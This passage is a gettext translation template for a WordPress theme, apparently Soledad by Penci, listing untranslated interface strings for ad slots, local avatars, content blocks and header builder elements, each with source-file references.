#: inc/customizer/config/sections/penci_section_homepage_general_section.php:202
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:809
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:600
#: inc/js_composer/soledad_vc.php:882
#: inc/template-builder/archive-elements/posts.php:648
msgid "In-feed Ads Code/HTML"
msgstr ""

#: inc/ad_settings.php:120 inc/ad_settings.php:283 inc/ad_settings.php:293
#: inc/customizer/config/sections/penci_section_homepage_general_section.php:203
msgid ""
"Please use normal responsive ads here to get the best results - the in-feed "
"ads can't work with auto-ads because auto-ads will randomly place your ads "
"on random places on the pages."
msgstr ""

#: inc/ad_settings.php:125 inc/ad_settings.php:294
#: inc/customizer/config/sections/penci_section_homepage_general_section.php:210
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:817
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:607
#: inc/js_composer/soledad_vc.php:887
#: inc/template-builder/archive-elements/posts.php:657
msgid "In-feed Ads Layout Type"
msgstr ""

#: inc/ad_settings.php:127 inc/ad_settings.php:290
#: inc/customizer/config/sections/penci_section_homepage_general_section.php:214
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:821
msgid "Follow Current Layout"
msgstr ""

#: inc/ad_settings.php:128 inc/ad_settings.php:291
#: inc/customizer/config/sections/penci_section_footer_general_section.php:20
#: inc/customizer/config/sections/penci_section_homepage_general_section.php:215
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:822
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:28
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:612
#: inc/template-builder/archive-elements/posts.php:662
msgid "Full Width"
msgstr ""

#: inc/ad_settings.php:154
msgid "Add Google Adsense/Custom HTML Code Below Featured Slider "
msgstr ""

#: inc/ad_settings.php:173
#: inc/customizer/config/sections/penci_section_spost_general_section.php:821
msgid "Add Ads/Custom HTML Code Inside Posts Content"
msgstr ""

#: inc/ad_settings.php:178
msgid "Add Ads/Custom HTML Code Inside Posts Content With:"
msgstr ""

#: inc/ad_settings.php:180
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:104
msgid "After Each X Paragraphs - Repeat"
msgstr ""

#: inc/ad_settings.php:181
#: inc/customizer/config/sections/penci_section_spost_inline_reposts_section.php:105
msgid "After X Paragraphs - No Repeat"
msgstr ""

#: inc/ad_settings.php:187
#: inc/customizer/config/sections/penci_section_spost_general_section.php:840
msgid ""
"Add Ads/Custom HTML Code Inside Posts Content After How Many Paragraphs?"
msgstr ""

#: inc/ad_settings.php:194
#: inc/customizer/config/sections/penci_section_spost_general_section.php:859
msgid "Add Google Adsense/Custom HTML code For Post Template Style 10"
msgstr ""

#: inc/ad_settings.php:200
#: inc/customizer/config/sections/penci_section_spost_general_section.php:866
msgid "Add Google Adsense/Custom HTML code below post description"
msgstr ""

#: inc/ad_settings.php:206
#: inc/customizer/config/sections/penci_section_spost_general_section.php:874
msgid "Add Google Adsense/Custom HTML code at the end of content posts"
msgstr ""

#: inc/ad_settings.php:209
#: inc/customizer/config/sections/penci_section_spost_autoload_section.php:41
msgid ""
"If you use Google Ads here, please use normal Google Ads here - don't use "
"Google Auto Ads to get it appears in the correct place."
msgstr ""

#: inc/ad_settings.php:213
msgid ""
"Add Google Adsense/Custom HTML code Between Posts When Activate The Infinity "
"Scrolling Load Posts"
msgstr ""

#: inc/ad_settings.php:233
#: inc/customizer/config/sections/penci_section_footer_general_section.php:4
msgid "Add Google Adsense/Custom HTML Code Above Footer"
msgstr ""

#: inc/ad_settings.php:239
msgid "Add Custom HTML code before close </body> tag / Google Analytics Code"
msgstr ""

#: inc/ad_settings.php:258
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:442
msgid "Google Adsense/Custom HTML Code Display Below Featured Posts"
msgstr ""

#: inc/ad_settings.php:265
msgid ""
"Google Adsense/Custom HTML Code to Display Above Posts Layout for Archive "
"Pages "
msgstr ""

#: inc/ad_settings.php:272
#: inc/customizer/config/sections/pencidesign_general_archive_page_section.php:775
msgid ""
"Google Adsense/Custom HTML Code to Display Below Posts Layout for Archive "
"Pages"
msgstr ""

#: inc/ad_settings.php:313
msgid "Float Left Right Ads"
msgstr ""

#: inc/ad_settings.php:319
msgid "Force Display Center in Vertical"
msgstr ""

#: inc/ad_settings.php:325
msgid "Margin Top"
msgstr ""

#: inc/ad_settings.php:331
msgid "Margin Top on Scroll"
msgstr ""

#: inc/ad_settings.php:337
msgid "Banner Left"
msgstr ""

#: inc/ad_settings.php:343
msgid "Banner Right"
msgstr ""

#: inc/ad_settings.php:350
msgid "Banner Width"
msgstr ""

#: inc/ad_settings.php:356
msgid "Banner Height"
msgstr ""

#: inc/avatar/class-penci-avatars.php:66
#: inc/avatar/class-penci-avatars.php:1189
msgid "G &#8212; Suitable for all audiences"
msgstr ""

#: inc/avatar/class-penci-avatars.php:67
#: inc/avatar/class-penci-avatars.php:1190
msgid "PG &#8212; Possibly offensive, usually for audiences 13 and above"
msgstr ""

#: inc/avatar/class-penci-avatars.php:68
#: inc/avatar/class-penci-avatars.php:1191
msgid "R &#8212; Intended for adult audiences above 17"
msgstr ""

#: inc/avatar/class-penci-avatars.php:69
#: inc/avatar/class-penci-avatars.php:1192
msgid "X &#8212; Even more mature than above"
msgstr ""

#: inc/avatar/class-penci-avatars.php:124
msgid "Default Crop"
msgstr ""

#: inc/avatar/class-penci-avatars.php:456
msgid "Local Avatars Only"
msgstr ""

#: inc/avatar/class-penci-avatars.php:462
msgid "Only allow local avatars (still uses Gravatar for default avatars)"
msgstr ""

#: inc/avatar/class-penci-avatars.php:464
msgid "Local Upload Permissions"
msgstr ""

#: inc/avatar/class-penci-avatars.php:470
#: inc/avatar/class-penci-avatars.php:572
msgid ""
"Only allow users with file upload capabilities to upload local avatars "
"(Authors and above)"
msgstr ""

#: inc/avatar/class-penci-avatars.php:474
msgid "Shared network avatars"
msgstr ""

#: inc/avatar/class-penci-avatars.php:480
#: inc/avatar/class-penci-avatars.php:585
msgid ""
"Uploaded avatars will be shared across the entire network, instead of being "
"unique per site"
msgstr ""

#: inc/avatar/class-penci-avatars.php:492
msgid "Migrate Other Local Avatars"
msgstr ""

#: inc/avatar/class-penci-avatars.php:496
msgid "Clear local avatar cache"
msgstr ""

#: inc/avatar/class-penci-avatars.php:501
msgid "Clear cache of stored avatars"
msgstr ""

#: inc/avatar/class-penci-avatars.php:559
msgid "Only allow local avatars (still uses Gravatar for default avatars)\t"
msgstr ""

#: inc/avatar/class-penci-avatars.php:668
msgid "Set as avatar"
msgstr ""

#: inc/avatar/class-penci-avatars.php:669
msgid "Select avatar and Crop"
msgstr ""

#: inc/avatar/class-penci-avatars.php:674
msgid "Something went wrong while clearing cache, please try again."
msgstr ""

#: inc/avatar/class-penci-avatars.php:675
msgid "Choose default avatar"
msgstr ""

#: inc/avatar/class-penci-avatars.php:676
#: inc/avatar/class-penci-avatars.php:1468
msgid "Number of avatars successfully migrated from WP User Avatar"
msgstr ""

#: inc/avatar/class-penci-avatars.php:677
#: inc/avatar/class-penci-avatars.php:1465
msgid "No avatars were migrated from WP User Avatar."
msgstr ""

#: inc/avatar/class-penci-avatars.php:678
msgid "Migration in progress."
msgstr ""

#: inc/avatar/class-penci-avatars.php:724
msgid "Clear cache"
msgstr ""

#: inc/avatar/class-penci-avatars.php:735
msgid ""
"Simple Local Avatar settings are currently enforced across all sites on the "
"network."
msgstr ""

#: inc/avatar/class-penci-avatars.php:745
msgid "Migrate avatars from WP User Avatar to Penci Avatars"
msgstr ""

#: inc/avatar/class-penci-avatars.php:813
msgid "No local avatar is set. Set up your avatar at Gravatar.com."
msgstr ""

#: inc/avatar/class-penci-avatars.php:815
msgid ""
"You do not have media management permissions. To change your local avatar, "
"contact the blog administrator."
msgstr ""

#: inc/avatar/class-penci-avatars.php:894
msgid ""
"For security reasons, the extension \".php\" cannot be in your file name."
msgstr ""

#: inc/avatar/class-penci-avatars.php:930
msgid "There was an error uploading the avatar:"
msgstr ""

#: inc/avatar/class-penci-avatars.php:969
msgid "You do not have permission to edit this user."
msgstr ""

#: inc/avatar/class-penci-avatars.php:1229
#, php-format
msgid "Processing %1$s/%2$s users..."
msgstr ""

#: inc/avatar/class-penci-avatars.php:1235
#, php-format
msgid "Completed clearing cache for all %s user(s) avatars."
msgstr ""

#: inc/avatar/class-penci-avatars.php:1457
msgid "Do you want to migrate avatars from WP User Avatar?"
msgstr ""

#: inc/block.php:78 inc/builder/class/header_builder.php:239
#: inc/js_composer/shortcodes/button_popup/settings.php:46
msgid "Penci Block"
msgstr ""

#: inc/block.php:79
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1064
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:588
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:717
#: inc/js_composer/shortcodes/big_grid/settings.php:714
msgid "Block"
msgstr ""

#: inc/block.php:80 inc/options/framework/fields/group/group.php:23
msgid "Add New"
msgstr ""

#: inc/block.php:81 inc/modules/penci-menu-callback.php:66
msgid "Add New Block"
msgstr ""

#: inc/block.php:82
msgid "Edit Block"
msgstr ""

#: inc/block.php:83
msgid "New Block"
msgstr ""

#: inc/block.php:84
msgid "All Blocks"
msgstr ""

#: inc/block.php:85
msgid "View Block"
msgstr ""

#: inc/block.php:86
msgid "Search Block"
msgstr ""

#: inc/block.php:87
msgid "No block found"
msgstr ""

#: inc/block.php:88
msgid "No blocks found in Trash"
msgstr ""

#: inc/block.php:90
msgid "Penci Blocks"
msgstr ""

#: inc/block.php:118 inc/block.php:128 inc/block.php:148
msgid "Block Categories"
msgstr ""

#: inc/block.php:119
msgid "Block Category"
msgstr ""

#: inc/block.php:120
msgid "Search Block Categories"
msgstr ""

#: inc/block.php:121
msgid "All Block Categories"
msgstr ""

#: inc/block.php:122
msgid "Parent Block Category"
msgstr ""

#: inc/block.php:123
msgid "Parent Block Category:"
msgstr ""

#: inc/block.php:124
msgid "Edit Block Category"
msgstr ""

#: inc/block.php:125
msgid "Update Block Category"
msgstr ""

#: inc/block.php:126
msgid "Add New Block Category"
msgstr ""

#: inc/block.php:127
msgid "New Block Category Name"
msgstr ""

#: inc/block.php:147 inc/builder/class/header_builder.php:186
#: inc/builder/class/header_builder.php:240
#: inc/builder/class/header_builder.php:327
msgid "Shortcode"
msgstr ""

#: inc/block.php:149
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:143
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:208
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:190
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:152
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:105
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:270
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:230
#: inc/elementor/modules/penci-product/widgets/penci-product.php:137
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:376
#: inc/js_composer/inc/product_param.php:77
#: inc/js_composer/params/loop/register.php:349
#: inc/js_composer/params/post_metas/register.php:15
#: inc/js_composer/shortcodes/big_grid/settings.php:114
#: inc/js_composer/shortcodes/product/settings.php:80
#: inc/js_composer/shortcodes/small_list/settings.php:259
#: inc/js_composer/shortcodes/web_stories/settings.php:37
msgid "Date"
msgstr ""

#: inc/blocks/class-penci-library-source.php:13
msgid "Penci"
msgstr ""

#: inc/blocks/class-penci-library-source.php:41
msgid "Error whilst getting template"
msgstr ""

#: inc/blocks/class-penci-library.php:56 inc/blocks/class-penci-library.php:59
#: inc/woocommerce/woocommerce.php:112
msgid "Close"
msgstr ""

#: inc/blocks/class-penci-library.php:69 inc/customizer/default.php:53
#: inc/dashboard/lib/meta-box/inc/fields/select.php:92
#: inc/elementor/modules/query-control/module.php:500
#: inc/gutenberg/block/portfolio/index.php:65 inc/widgets/price_filter.php:258
#: inc/woocommerce/woocommerce.php:106
msgid "All"
msgstr ""

#: inc/blocks/class-penci-library.php:89
msgid "Search Templates:"
msgstr ""

#: inc/blocks/class-penci-library.php:90 inc/customizer/default.php:86
#: inc/elementor/includes/autocomplete.php:63
#: inc/elementor/includes/select2.php:21 inc/widgets/search_box.php:140
msgid "Search"
msgstr ""

#: inc/blocks/class-penci-library.php:112
msgid "Loading"
msgstr ""

#: inc/builder/class/builder_panel.php:20
msgid "Block 1"
msgstr ""

#: inc/builder/class/builder_panel.php:21
msgid "Block 2"
msgstr ""

#: inc/builder/class/builder_panel.php:22
#: inc/builder/class/header_builder.php:105
#: inc/builder/class/header_builder.php:301
#: inc/builder/class/header_builder.php:323
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1043
#: inc/js_composer/shortcodes/custom_sliders/settings.php:522
msgid "Button 1"
msgstr ""

#: inc/builder/class/builder_panel.php:23
#: inc/builder/class/header_builder.php:134
#: inc/builder/class/header_builder.php:199
#: inc/builder/class/header_builder.php:332
msgid "Bookmark Button"
msgstr ""

#: inc/builder/class/builder_panel.php:24
#: inc/builder/class/header_builder.php:106
#: inc/builder/class/header_builder.php:302
#: inc/builder/class/header_builder.php:324
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1188
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:1252
#: inc/js_composer/shortcodes/custom_sliders/settings.php:636
msgid "Button 2"
msgstr ""

#: inc/builder/class/builder_panel.php:25
#: inc/builder/class/header_builder.php:107
#: inc/builder/class/header_builder.php:303
msgid "Button 3"
msgstr ""

#: inc/builder/class/builder_panel.php:26
#: inc/builder/class/header_builder.php:178
msgid "Mobile Button 1"
msgstr ""

#: inc/builder/class/builder_panel.php:27
#: inc/builder/class/header_builder.php:179
msgid "Mobile Button 2"
msgstr ""

#: inc/builder/class/builder_panel.php:28
#: inc/builder/class/header_builder.php:129
#: inc/builder/class/header_builder.php:194
#: inc/builder/class/header_builder.php:338
msgid "Cart Icon"
msgstr ""

#: inc/builder/class/builder_panel.php:29
#: inc/builder/class/header_builder.php:130
#: inc/builder/class/header_builder.php:195
#: inc/builder/class/header_builder.php:339
msgid "Compare Icon"
msgstr ""

#: inc/builder/class/builder_panel.php:30
#: inc/builder/class/header_builder.php:233
msgid "Mobile Sidebar Menu"
msgstr ""

#: inc/builder/class/builder_panel.php:31
#: inc/builder/class/header_builder.php:109
#: inc/builder/class/header_builder.php:181
#: inc/builder/class/header_builder.php:305
msgid "Hamburger Menu"
msgstr ""

#: inc/builder/class/builder_panel.php:32
#: inc/builder/class/header_builder.php:113
#: inc/builder/class/header_builder.php:310
msgid "Custom HTML 1"
msgstr ""

#: inc/builder/class/builder_panel.php:33
#: inc/builder/class/header_builder.php:114
#: inc/builder/class/header_builder.php:185
#: inc/builder/class/header_builder.php:237
#: inc/builder/class/header_builder.php:311
#: inc/builder/class/header_builder.php:326
msgid "Custom HTML 2"
msgstr ""

#: inc/builder/class/builder_panel.php:34
#: inc/builder/class/header_builder.php:115
#: inc/builder/class/header_builder.php:312
msgid "Custom HTML 3"
msgstr ""

#: inc/builder/class/builder_panel.php:35
msgid "Mobile Custom HTML"
msgstr ""

#: inc/builder/class/builder_panel.php:36
msgid "Mobile Custom HTML 2"
msgstr ""

#: inc/builder/class/builder_panel.php:37
#: inc/builder/class/header_builder.php:110
#: inc/builder/class/header_builder.php:306
#: inc/widgets/login_register_widgets.php:26
#: inc/widgets/login_register_widgets.php:28
msgid "Login/Register"
msgstr ""

#: inc/builder/class/builder_panel.php:38
#: inc/builder/class/header_builder.php:173
#: inc/builder/class/header_builder.php:307
msgid "Mobile Login/Register"
msgstr ""

#: inc/builder/class/builder_panel.php:39
#: inc/builder/class/header_builder.php:96
#: inc/customizer/config/options/logo_header.php:31 inc/options/options.php:218
msgid "Logo"
msgstr ""

#: inc/builder/class/builder_panel.php:40
#: inc/builder/class/header_builder.php:321
msgid "Logo Mobile"
msgstr ""

#: inc/builder/class/builder_panel.php:41
#: inc/builder/class/header_builder.php:289
msgid "Logo Sidebar"
msgstr ""

#: inc/builder/class/builder_panel.php:42
msgid "Logo Sticky"
msgstr ""

#: inc/builder/class/builder_panel.php:43
msgid "Main Menu"
msgstr ""

#: inc/builder/class/builder_panel.php:44
msgid "Mobile Menu"
msgstr ""

#: inc/builder/class/builder_panel.php:45
#: inc/builder/class/header_builder.php:108
#: inc/builder/class/header_builder.php:180
#: inc/builder/class/header_builder.php:304
#: inc/elementor/modules/penci-news-ticker/widgets/penci-news-ticker.php:169
#: inc/js_composer/shortcodes/news_ticker/settings.php:241
#: inc/js_composer/shortcodes/news_ticker/settings.php:242
msgid "News Ticker"
msgstr ""

#: inc/builder/class/builder_panel.php:46
#: inc/builder/class/header_builder.php:103
#: inc/builder/class/header_builder.php:176
#: inc/builder/class/header_builder.php:297
msgid "Search Form"
msgstr ""

#: inc/builder/class/builder_panel.php:47
msgid "Sidebar Search Form"
msgstr ""

#: inc/builder/class/builder_panel.php:48
#: inc/builder/class/header_builder.php:102
#: inc/builder/class/header_builder.php:175
#: inc/builder/class/header_builder.php:296
msgid "Search Icon"
msgstr ""

#: inc/builder/class/builder_panel.php:49
#: inc/builder/class/header_builder.php:126
#: inc/builder/class/header_builder.php:191
#: inc/builder/class/header_builder.php:335
#: inc/customizer/config/sections/pencidesign_general_colors_dark_section.php:4
msgid "Dark Mode Switcher"
msgstr ""

#: inc/builder/class/builder_panel.php:50
msgid "Second Navigation Menu"
msgstr ""

#: inc/builder/class/builder_panel.php:51
#: inc/builder/class/header_builder.php:116
#: inc/builder/class/header_builder.php:313
msgid "Shortcode 1"
msgstr ""

#: inc/builder/class/builder_panel.php:52
#: inc/builder/class/header_builder.php:117
#: inc/builder/class/header_builder.php:314
msgid "Shortcode 2"
msgstr ""

#: inc/builder/class/builder_panel.php:53
#: inc/builder/class/header_builder.php:118
#: inc/builder/class/header_builder.php:315
msgid "Shortcode 3"
msgstr ""

#: inc/builder/class/builder_panel.php:54
msgid "Shortcode Mobile 1"
msgstr ""

#: inc/builder/class/builder_panel.php:55
#: inc/elementor/modules/penci-team-member/widgets/penci-team-member.php:447
msgid "Social Icons"
msgstr ""

#: inc/builder/class/builder_panel.php:56
msgid "Mobile Social Icons"
msgstr ""

#: inc/builder/class/builder_panel.php:57
msgid "Third Navigation"
msgstr ""

#: inc/builder/class/builder_panel.php:58
msgid "Vertical Line 1"
msgstr ""

#: inc/builder/class/builder_panel.php:59
msgid "Vertical Line 2"
msgstr ""

#: inc/builder/class/builder_panel.php:60
msgid "Vertical Line 3"
msgstr ""

#: inc/builder/class/builder_panel.php:61
msgid "Vertical Line 4"
msgstr ""

#: inc/builder/class/builder_panel.php:62
msgid "Vertical Line 5"
msgstr ""

#: inc/builder/class/builder_panel.php:63
msgid "Mobile Vertical Line 1"
msgstr ""

#: inc/builder/class/builder_panel.php:64
msgid "Mobile Vertical Line 2"
msgstr ""

#: inc/builder/class/builder_panel.php:65
msgid "Wishlist Icon"
msgstr ""

#: inc/builder/class/builder_panel.php:66
msgid "Date/Time"
msgstr ""

#: inc/builder/class/builder_panel.php:68
msgid "Header Bottom Bar"
msgstr ""

#: inc/builder/class/builder_panel.php:69
msgid "Header Bottom Block"
msgstr ""

#: inc/builder/class/builder_panel.php:70
msgid "Header Desktop Options"
msgstr ""

#: inc/builder/class/builder_panel.php:71
msgid "Header Sticky Bottom"
msgstr ""

#: inc/builder/class/builder_panel.php:72
msgid "Header Sticky Middle"
msgstr ""

#: inc/builder/class/builder_panel.php:73
msgid "Header Sticky Options"
msgstr ""

#: inc/builder/class/builder_panel.php:74
msgid "Header Sticky Top"
msgstr ""

#: inc/builder/class/builder_panel.php:75
#: inc/builder/customizer/buider_config.php:60
msgid "Mobile Sidebar"
msgstr ""

#: inc/builder/class/builder_panel.php:76
msgid "Header Middle Bar"
msgstr ""

#: inc/builder/class/builder_panel.php:77
msgid "Mobile Bottom Bar"
msgstr ""

#: inc/builder/class/builder_panel.php:78
msgid "Mobile Middle Bar"
msgstr ""

#: inc/builder/class/builder_panel.php:79
msgid "Mobile Options"
msgstr ""

#: inc/builder/class/builder_panel.php:80
msgid "Mobile Top Bar"
msgstr ""

#: inc/builder/class/builder_panel.php:81
msgid "Header Top Bar"
msgstr ""

#: inc/builder/class/builder_panel.php:82
msgid "Header Top Block"
msgstr ""

#: inc/builder/class/header_builder.php:97
#: inc/builder/class/header_builder.php:288
msgid "Sticky Logo"
msgstr ""

#: inc/builder/class/header_builder.php:98
#: inc/builder/class/header_builder.php:290
msgid "Menu 1"
msgstr ""

#: inc/builder/class/header_builder.php:99
#: inc/builder/class/header_builder.php:291
msgid "Menu 2"
msgstr ""

#: inc/builder/class/header_builder.php:100
#: inc/builder/class/header_builder.php:292
msgid "Menu 3"
msgstr ""

#: inc/builder/class/header_builder.php:101
#: inc/builder/class/header_builder.php:174
#: inc/builder/class/header_builder.php:238
#: inc/builder/class/header_builder.php:295
msgid "Date Time"
msgstr ""

#: inc/builder/class/header_builder.php:104
#: inc/builder/class/header_builder.php:177
#: inc/builder/class/header_builder.php:235
#: inc/builder/class/header_builder.php:299
#: inc/builder/class/header_builder.php:300
msgid "Social Icon"
msgstr ""

#: inc/builder/class/header_builder.php:111
#: inc/builder/class/header_builder.php:182
#: inc/builder/class/header_builder.php:308
msgid "Penci Block 1"
msgstr ""

#: inc/builder/class/header_builder.php:112
#: inc/builder/class/header_builder.php:183
#: inc/builder/class/header_builder.php:309
msgid "Penci Block 2"
msgstr ""

#: inc/builder/class/header_builder.php:119
#: inc/builder/class/header_builder.php:187
#: inc/builder/class/header_builder.php:316
#: inc/builder/class/header_builder.php:328
msgid "Line Divider 1"
msgstr ""

#: inc/builder/class/header_builder.php:120
#: inc/builder/class/header_builder.php:188
#: inc/builder/class/header_builder.php:317
#: inc/builder/class/header_builder.php:329
msgid "Line Divider 2"
msgstr ""

#: inc/builder/class/header_builder.php:121
#: inc/builder/class/header_builder.php:318
msgid "Line Divider 3"
msgstr ""

#: inc/builder/class/header_builder.php:122
#: inc/builder/class/header_builder.php:319
msgid "Line Divider 4"
msgstr ""

#: inc/builder/class/header_builder.php:123
#: inc/builder/class/header_builder.php:320
msgid "Line Divider 5"
msgstr ""

#: inc/builder/class/header_builder.php:131
#: inc/builder/class/header_builder.php:196
#: inc/builder/class/header_builder.php:340
msgid "WishList Icon"
msgstr ""

#: inc/builder/class/header_builder.php:171
msgid "Mobile Logo"
msgstr ""

#: inc/builder/class/header_builder.php:172
msgid "Mobile Menu Icon"
msgstr ""

#: inc/builder/class/header_builder.php:184
#: inc/builder/class/header_builder.php:236
#: inc/builder/class/header_builder.php:325
msgid "Custom HTML"
msgstr ""

#: inc/builder/class/header_builder.php:232
msgid "Sidebar Logo"
msgstr ""

#: inc/builder/class/header_builder.php:234
msgid "Search Form Sidebar"
msgstr ""

#: inc/builder/class/header_builder.php:241
#: inc/elementor/base/base-widget.php:1478
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:323
#: inc/elementor/modules/penci-button/widgets/penci-button.php:307
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:303
#: inc/js_composer/shortcodes/pricing_table/settings.php:428
msgid "Button"
msgstr ""

#: inc/builder/class/header_builder.php:259
msgid "Homepage Header Template"
msgstr ""

#: inc/builder/class/header_builder.php:263
msgid "WooCommerce Header Template"
msgstr ""

#: inc/builder/class/header_builder.php:267
msgid "Entire Header Template"
msgstr ""

#: inc/builder/class/header_builder.php:271
msgid "Archive Header Template"
msgstr ""

#: inc/builder/class/header_builder.php:275
msgid "Pages Header Template"
msgstr ""

#: inc/builder/class/header_builder.php:279
msgid "Single Post Header Template"
msgstr ""

#: inc/builder/class/header_builder.php:287
msgid "Logo Desktop"
msgstr ""

#: inc/builder/class/header_builder.php:293
msgid "Dropdown Menu"
msgstr ""

#: inc/builder/class/header_builder.php:294
msgid "Mobile Menu Button"
msgstr ""

#: inc/builder/class/header_builder.php:298
msgid "Search Form Mobile"
msgstr ""

#: inc/builder/class/header_builder.php:322
msgid "Mobile Menu Navigation"
msgstr ""

#: inc/builder/class/header_builder.php:541
#: inc/builder/customizer/buider_config.php:36
#: inc/customizer/config/options/logo_header.php:29 inc/options/options.php:214
msgid "Header Builder"
msgstr ""

#: inc/builder/class/header_builder.php:542
msgid "Edit Header"
msgstr ""

#: inc/builder/class/header_builder.php:543
msgid "Preview Header"
msgstr ""

#: inc/builder/class/header_builder.php:544
#: inc/builder/class/header_builder.php:545
#: inc/builder/class/header_builder.php:546
msgid "Add New Header"
msgstr ""

#: inc/builder/class/header_builder.php:602
msgid "Can not saved this settings"
msgstr ""

#: inc/builder/class/header_builder.php:611
msgid "Missing setting content."
msgstr ""

#: inc/builder/class/header_builder.php:632
#: inc/builder/class/header_builder.php:651
msgid "Edit with Penci Header Builder"
msgstr ""

#: inc/builder/customizer-template/header-mobile-drawer.php:4
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:214
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:264
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:503
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:355
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:230
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:48
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:508
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:283
#: inc/elementor/modules/penci-login-form/widgets/penci-login-form.php:72
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:232
#: inc/elementor/modules/penci-open-hour/widgets/penci-open-hour.php:123
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:133
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:235
#: inc/elementor/modules/penci-progress-bar/widgets/penci-progress-bar.php:154
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:190
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:167
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:444
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:121
#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:121
#: inc/js_composer/shortcodes/fancy_heading/settings.php:243
#: inc/js_composer/shortcodes/info_box/settings.php:44
#: inc/js_composer/shortcodes/info_box/settings.php:455
#: inc/js_composer/shortcodes/simple_list/settings.php:103
msgid "Content"
msgstr ""

#: inc/builder/customizer-template/header-mobile-row.php:4
#: inc/builder/customizer-template/header-row.php:5
msgid "Bar"
msgstr ""

#: inc/builder/customizer-template/header-sticky.php:4
msgid "Sticky Bar - "
msgstr ""

#: inc/builder/customizer/buider_config.php:37
msgid "Build your site header with Customizer"
msgstr ""

#: inc/builder/customizer/buider_config.php:41
msgid "Builder Settings"
msgstr ""

#: inc/builder/customizer/buider_config.php:42
msgid "General Builder"
msgstr ""

#: inc/builder/customizer/buider_config.php:48
msgid "Sticky Header"
msgstr ""

#: inc/builder/customizer/buider_config.php:54
msgid "Mobile Header"
msgstr ""

#: inc/builder/customizer/buider_config.php:71
msgid "Desktop Element Sort"
msgstr ""

#: inc/builder/customizer/buider_config.php:77
msgid "Top Ads"
msgstr ""

#: inc/builder/customizer/buider_config.php:78
#: inc/builder/elements/pb_bookmark/settings.php:29
#: inc/builder/elements/pb_button/settings.php:39
#: inc/builder/elements/pb_button_2/settings.php:39
#: inc/builder/elements/pb_button_mobile/settings.php:39
#: inc/builder/elements/pb_button_mobile_2/settings.php:39
#: inc/customizer/config/sections/penci_section_spost_reading_progress_section.php:36
#: inc/customizer/config/sections/pencidesign_woo_brand_settings_section.php:46
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:619
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1014
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:538
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:356
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:855
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:165
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:198
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:528
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:984
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:663
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:159
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:149
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:138
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:137
#: inc/js_composer/shortcodes/big_grid/settings.php:510
#: inc/js_composer/shortcodes/big_grid/settings.php:689
#: inc/js_composer/shortcodes/custom_sliders/settings.php:123
#: inc/js_composer/shortcodes/small_list/settings.php:155
#: inc/js_composer/shortcodes/testimonails/settings.php:51
#: inc/template-builder/single-elements/featured-overlay.php:160
#: inc/woocommerce/modules/metaboxes.php:277
msgid "Top"
msgstr ""

#: inc/builder/customizer/buider_config.php:79
msgid "Mid"
msgstr ""

#: inc/builder/customizer/buider_config.php:80
#: inc/customizer/config/sections/penci_section_spost_reading_progress_section.php:37
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:60
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:627
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1022
